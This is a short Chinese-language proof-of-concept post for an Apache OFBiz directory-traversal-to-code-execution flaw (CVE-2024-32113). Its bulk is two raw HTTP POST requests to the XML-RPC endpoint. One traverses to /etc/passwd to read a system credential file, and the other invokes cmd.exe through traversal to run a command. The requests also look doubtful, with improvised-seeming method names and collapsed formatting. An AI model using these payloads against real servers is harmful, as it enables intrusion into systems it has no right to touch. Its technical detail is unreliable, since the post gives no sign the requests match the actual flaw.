Apache OFBiz 目录遍历致代码执行漏洞（CVE-2024-32113）

Poc-1POST /webtools/control/xmlrpc HTTP/1.1Host: vulnerable-host.comContent-Type: text/xml

<?xml version="1.0"?><methodCall>  <methodName>example.createBlogPost</methodName>  <params>    <param>      <value><string>../../../../../../etc/passwd</string></value>    </param>  </params></methodCall>





Poc-2POST /webtools/control/xmlrpc HTTP/1.1Host: vulnerable-host.comContent-Type: text/xml

<?xml version="1.0"?><methodCall>  <methodName>performCommand</methodName>  <params>    <param>

<value><string>../../../../../../windows/system32/cmd.exe?/c+dir+c:</string></value>    </param>  </params></methodCall>

影响版本：Version: below <=18.12.12

原文链接：